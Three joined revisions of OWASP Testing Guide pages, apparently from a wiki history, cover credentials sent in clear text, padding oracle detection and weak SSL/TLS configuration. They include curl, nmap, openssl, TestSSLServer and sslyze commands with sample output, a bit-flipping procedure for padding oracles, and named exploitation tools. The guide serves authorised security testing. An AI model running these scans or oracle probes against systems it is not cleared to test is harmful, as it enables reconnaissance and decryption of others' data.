2014-08-01T21:01:05Z

Jane O'Connor:

{{Template:OWASP Testing Guide v4}}

== Summary ==
Sensitive data must be protected when it is transmitted through the network. If data is transmitted over HTTPS or encrypted in another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article [https://www.owasp.org/index.php?title=Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_%28OWASP-EN-002%29 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)] [1] and in other OWASP documentation [2], [3], [4], [5].

As a rule of thumb if data must be protected when it is stored, this data must also be protected during transmission. Some examples for sensitive data are:
* Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies…)
* Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)

If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some examples are Basic authentication which sends authentication credentials in plain-text over HTTP, form based authentication credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.

== How to Test ==
Various types of information that must be protected, could be transmitted by the application in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS, or whether weak cyphers are used. See more information about insecure transmission of credentials [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure] [3] or insufficient transport layer protection in general [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection Top 10 2010-A9-Insufficient Transport Layer Protection] [2].

=== Example 1: Basic Authentication over HTTP ===
A typical example is the usage of Basic Authentication over HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In the example below the tester uses curl [5] to test for this issue. Note how the application uses Basic authentication, and HTTP rather than HTTPS

<pre>
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login credentials! </body></html>
</pre>

=== Example 2: Form-Based Authentication Performed over HTTP ===
Another typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the "action" attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy.

<pre>
<form action="http://example.com/login">
<label for="username">User:</label> <input type="text" id="username" name="username" value=""/> 
<label for="password">Password:</label> <input type="password" id="password" name="password" value=""/>
<input type="submit" value="Login"/>
</form>
</pre>

=== Example 3: Cookie Containing Session ID Sent over HTTP ===
The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS.

<pre>
https://secure.example.com/login

POST /login HTTP/1.1
Host: secure.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly
Location: private/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html

----------------------------------------------------------
http://example.com/private

GET /private HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html;charset=UTF-8
Content-Length: 730
Date: Tue, 25 Dec 2013 00:00:00 GMT
----------------------------------------------------------
</pre>

==Tools==
* [5] [http://curl.haxx.se/ curl] can be used to check manually for pages

==References==
'''OWASP Resources'''
* [1] [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_%28OWASP-EN-002%29 OWASP Testing Guide - Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002) (OWASP-CRYPST-002)]
* [2] [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection OWASP TOP 10 2010 - Insufficient Transport Layer Protection]
* [3] [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure OWASP TOP 10 2013 - Sensitive Data Exposure]
* [4] [https://code.google.com/p/owasp-asvs/wiki/Verification_V10 OWASP ASVS v1.1 - V10 Communication Security Verification Requirements]
* [6] [https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002) OWASP Testing Guide - Testing for Cookies attributes (OTG-SESS-002)]

Testing for Padding Oracle (OTG-CRYPST-002)

2014-08-01T20:54:52Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
 
A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.

 
Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.

'''Example:'''

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

An error condition is present if the padding doesn't match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.

The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application.

A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.

==How to Test==
== Black Box Testing ==
'''Testing for padding oracle vulnerabilities:''' 
First the possible input points for padding oracles must be identified. Generally the following conditions must be met:

# The data is encrypted. Good candidates are values which appear to be random.
# A block cipher is used. The length of the decoded (Base64 is used often) cipher text is a multiple of common cipher block sizes like 8 or 16 bytes. Different cipher texts (e.g. gathered by different sessions or manipulation of session state) share a common divisor in the length.

'''Example:'''

<nowiki>Dg6W8OiWMIdVokIDH15T/A==</nowiki> results after Base64 decoding in 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be random and 16 byte long.

If such an input value candidate is identified, the behavior of the application to bit-wise tampering of the encrypted value should be verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext ''<tt>p</tt>'' and a cipher with a block size ''<tt>n</tt>'', the number of blocks will be ''<tt>b = ceil( length(b) / n)</tt>''. The length of the encrypted string will be ''<tt>y=(b+1)*n</tt>'' due to the initialization vector. To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block ''<tt>b-1</tt>'' (the least significant bit of the byte at ''<tt>y-n-1</tt>''), re-encode and send. Next, decode the original string, flip the last bit of the block ''<tt>b-2</tt>'' (the least significant bit of the byte at ''<tt>y-2*n-1</tt>''), re-encode and send.

If it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).

The tests and the base value should at least cause three different states while and after decryption:

* Cipher text gets decrypted, resulting data is correct.
* Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.
* Cipher text decryption fails due to padding errors.

Compare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.

'''Examples:'''
* ASP.NET throws "System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed." if padding of a decrypted cipher text is broken.
* In Java a javax.crypto.BadPaddingException is thrown in this case.
* Decryption errors or similar can be possible padding oracles.

'''Result Expected:''' 
A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.

== Grey Box Testing==
'''Testing for padding oracle vulnerabilities:''' 
Verify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:

# The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.
# All error states while decryption and further processing are handled uniformly.

==Tools==
* PadBuster - [https://github.com/GDSSecurity/PadBuster https://github.com/GDSSecurity/PadBuster]
* python-paddingoracle - [https://github.com/mwielgoszewski/python-paddingoracle https://github.com/mwielgoszewski/python-paddingoracle]
* Poracle - [https://github.com/iagox86/Poracle https://github.com/iagox86/Poracle]
* Padding Oracle Exploitation Tool (POET) - [http://netifera.com/research/ http://netifera.com/research/]
 
'''Examples''' 
* Visualization of the decryption process - [http://erlend.oftedal.no/blog/poet/ http://erlend.oftedal.no/blog/poet/]

== References ==
'''Whitepapers''' 
* Wikipedia - Padding oracle attack - [http://en.wikipedia.org/wiki/Padding_oracle_attack http://en.wikipedia.org/wiki/Padding_oracle_attack]
* Juliano Rizzo, Thai Duong, "Practical Padding Oracle Attacks" - [http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf]

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)

2014-08-01T20:50:20Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission.

HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication.

Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.

== Common Issues ==
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).

When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.
* Certificate validity must be ensured.

Other vulnerabilities linked to this are:
* Software exposed must be updated due to possibility of known vulnerabilities [4].
* Usage of Secure flag for Session Cookies [5].
* Usage of HTTP Strict Transport Security (HSTS) [6].
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.

===Sensitive data transmitted in clear-text===
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.

===Weak SSL/TLS Ciphers/Protocols/Keys===
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.

It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.

Briefly, the key points for the cipher suite determination are the following:
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server).

It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.

#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
#The server sends a ServerHelloDone message and waits for a client response.
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

===SSL certificate validity – client and server===

When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
# The server sends a ServerHelloDone message and waits for a client response.
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity:

* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);
* Checking that the certificate is currently valid;
* Checking that the name of the site and the name reported in the certificate match.

Let's examine each check more in detail.

* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates).

* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed.

* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced.

===Other vulnerabilities===
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]).

Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.

== How to Test ==

===Testing for sensitive data transmitted in clear-text===
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].

=====Example 1. Basic Authentication over HTTP=====
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.

<pre>
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white>
<h1>401 Authorization Required</h1>

Invalid login credentials!

</body></html>
</pre>

===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.

At the time of writing these criteria are widely recognized as minimum checklist:
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).
* No Export (EXP) level cipher suites, due to can be easly broken [10].
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].

A more complete checklist includes:
* Secure Renegotiation should be enabled.
* MD5 should not be used, due to known collision attacks. [35]
* RC4 should not be used, due to crypto-analytical attacks [15].
* Server should be protected from BEAST Attack [16].
* Server should be protected from CRIME attack, TLS compression must be disabled [17].
* Server should support Forward Secrecy [18].

The following standards can be used as reference while assessing SSL servers:
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].

Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.

Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].

====Example 2. SSL service recognition via nmap====

The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).

In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.

<pre>
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
80/tcp open http syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
</pre>

====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].

<pre>
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up (0.090s latency).
rDNS record for 127.0.0.1: www.example.com
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
465/tcp open smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
993/tcp open imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
995/tcp open pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
</pre>

====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====

Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities.

<pre>
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
---
Server certificate
-----BEGIN CERTIFICATE-----
******
-----END CERTIFICATE-----
subject=******
issuer=******
---
No client certificate CA names sent
---
SSL handshake has read 3558 bytes and written 640 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
</pre>

Now the tester can write the first line of an HTTP request and then R in a new line.
<pre>
HEAD / HTTP/1.1
R
</pre>

Server is renegotiating
<pre>
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
</pre>

And the tester can complete our request, checking for response.
<pre>
HEAD / HTTP/1.1

HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792

read:errno=0
</pre>

Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.

====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====

TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].

An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].

<pre>
$ java -jar TestSSLServer.jar www3.example.com 443
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
----------------------
Server certificate(s):
******
----------------------
Minimal encryption strength: strong encryption (96-bit or more)
Achievable encryption strength: strong encryption (96-bit or more)
BEAST status: vulnerable
CRIME status: protected

</pre>

====Example 6. Testing SSL/TLS vulnerabilities with sslyze====
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.

<pre>
./sslyze.py --regular example.com:443

REGISTERING AVAILABLE PLUGINS
-----------------------------

PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression

CHECKING HOST(S) AVAILABILITY
-----------------------------

example.com:443 => 127.0.0.1:443

SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443
---------------------------------------------------

* Compression :
Compression Support: Disabled

* Session Renegotiation :
Client-initiated Renegotiations: Rejected
Secure Renegotiation: Supported

* Certificate :
